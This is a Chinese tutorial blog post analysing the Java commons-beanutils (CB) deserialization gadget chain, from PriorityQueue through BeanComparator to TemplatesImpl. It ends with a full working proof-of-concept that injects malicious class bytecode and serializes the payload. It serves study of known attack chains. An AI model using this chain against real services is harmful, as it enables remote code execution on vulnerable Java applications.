Java反序列化-CB链

依赖

jdk:8u65

CB:commons-beanutils 1.8.3

在pom.xml里添加

<dependency>  
<groupId>commons-beanutils</groupId>  
<artifactId>commons-beanutils</artifactId>  
<version>1.8.3</version>  
</dependency>  
<dependency>  
<groupId>commons-logging</groupId>  
<artifactId>commons-logging</artifactId>  
<version>1.2</version>  
</dependency>

具体方法可以参照CC1那篇文章

Apache Commons Beanutils和JavaBean

CommonsBeanutils 是应用于 javabean 的工具,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法

JavaBean 是一种JAVA语言写成的可重用组件,它是一个类

所谓javaBean,是指符合如下标准的Java类:

  • 类是公共的
  • 有一个无参的公共的构造器
  • 有私有属性,且须有对应的get、set方法去设置属性
  • 对于boolean类型的成员变量,允许使用"is"代替上面的"get"和"set"

比如下面这个Person类

package com.LE0;  
  
public class Person {  
    private String name;  
  
    public Person(String name) {  
        this.name = name;  
    }  
  
    public String getName() {  
        return name;  
    }  
      
    public void setName(String name) {  
        this.name = name;  
    }  
}

这个类包含了一个私有属性和两个公有方法getName()和setName(),即getter和setter,这种 class 就是 JavaBean

利用点

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty(),可以让使用者直接调用任意JavaBean的getter方法

PropertyUtils.getProperty()传入两个参数,第一个参数为 JavaBean 实例,第二个是 JavaBean 的属性

package com.LE0;

import org.apache.commons.beanutils.PropertyUtils;

public class Person {
    private String name;

    public Person(String name) {
        this.name = name;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public static void main(String[] args) throws Exception {
        Person person  = new Person("LE0");
        System.out.println(PropertyUtils.getProperty(person, "name"));

    }
}

output:
LE0

这里只需要改变字符串,就可以动态的执行不同的函数,这里就很有可能有安全问题

调用链分析

在CC3中,我们是通过TemplatesImpl 动态加载恶意类来实现rce

调用链如下

TemplatesImpl:
getOutputProperties()
    ->newTransformer()
        ->getTransletInstance()
            ->defineTransletClasses()
                TransletClassLoader:
                	->defineClass()

重点看:TemplatesImpl#getOutputProperties()

getOutputProperties()方法即其 _outputProperties 属性的 getter 方法是加载恶意字节码的起点,我们可以利用前面提到的,commons-beanutils里的PropertyUtils.getProperty()去调用getter

那谁调用了getproperty?这里找到了compare方法

这个方法传入两个对象,如果this.property为空,则直接比较这两个对象;如果this.property不为空,则用PropertyUtils.getProperty分别取这两个对象的this.property属性,比较属性的值。因此通过给 o1赋值构造好的templates对象,property赋值为TemplatesImpl的 outputProperties属性,即可调用TemplatesImpl.getOutputProperties() 往下就是TemplatesImpl的利用链。

那么往上找,哪里调用 compare()呢?可以利用CC2/4链中的 PriorityQueue.readObject()

最后将链子整合一下

PriorityQueue.readObject()
    ->BeanComparator.compare()
        ->PropertyUtils.getProperty()
TemplatesImpl类:
            ->getOutputProperties()
                ->newTransformer()
                    ->getTransletInstance()
                        ->defineTransletClasses()
TransletClassLoader类:
                                ->defineClass()

完整代码

package com.LE0;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import org.apache.commons.beanutils.BeanComparator;  
import org.apache.commons.collections.comparators.TransformingComparator;  
import org.apache.commons.collections.functors.ConstantTransformer;  
  
import java.io.IOException;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.PriorityQueue;  
  
public class CB {  
    public static void main(String[] args) throws Exception {  
        //CC3  
        TemplatesImpl templates = new TemplatesImpl();  
  
        Class tc = templates.getClass();  
        Field name = tc.getDeclaredField("_name");  
        name.setAccessible(true);  
        name.set(templates,"LE0");  
        Field bytecodes = tc.getDeclaredField("_bytecodes");  
        bytecodes.setAccessible(true);  
  
        byte[] code = Files.readAllBytes(Paths.get("D:\\code\\java\\Evil.class"));  
        byte[][] codes= {code};  
        bytecodes.set(templates,codes);  
  
  
        //CB  
        BeanComparator beanComparator = new BeanComparator("outputProperties");  
  
        //CC2  
        //这是CC中的类,CB中没有,但是我在序列化之前用反射改回来了,所以传到后端时就没有这个类了。只需要本地有即可。
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));  
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);  
  
  
        priorityQueue.add(templates);  
        priorityQueue.add(2);  
  
        Class<PriorityQueue> p = PriorityQueue.class;  
        Field comparator = p.getDeclaredField("comparator");  
        comparator.setAccessible(true);  
        comparator.set(priorityQueue,beanComparator);  
  
  
//        serialize(priorityQueue);  
        deserialize("ser.bin");  
    }  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));  
        oos.writeObject(obj);  
    }  
  
    public static Object deserialize(String filename) throws IOException, ClassNotFoundException {  
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));  
        return ois.readObject();  
    }  
}

参考

Java反序列化Commons-Beanutils篇-CB链 - 1vxyz - 博客园

JAVA反序列化——CB链 - Infernity's Blog

posted @ 2026-02-14 20:50  leee0  阅读(13)  评论(0)    收藏  举报